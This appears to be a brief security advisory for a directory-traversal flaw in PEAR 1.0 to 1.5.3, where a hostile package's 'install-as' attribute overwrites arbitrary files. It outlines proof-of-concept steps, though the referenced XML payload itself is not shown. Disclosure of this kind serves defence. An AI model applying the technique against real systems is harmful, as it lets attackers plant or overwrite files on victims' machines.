PEAR is prone to a vulnerability that lets attackers overwrite arbitrary files.
|
|
|
|
An attacker-supplied package may supply directory-traversal strings through the 'install-as' attribute to create and overwrite files in arbitrary locations.
|
|
|
|
This issue affects PEAR 1.0 to 1.5.3.
|
|
|
|
create a file named "INSTALL" and save it in the current directory.
|
|
Save the following XML as package.xml, and run "pear install package.xml"
|
|
|
|
If php_dir is /usr/local/lib/php The file "INSTALL" will be installed into
|
|
/usr/local/test.php
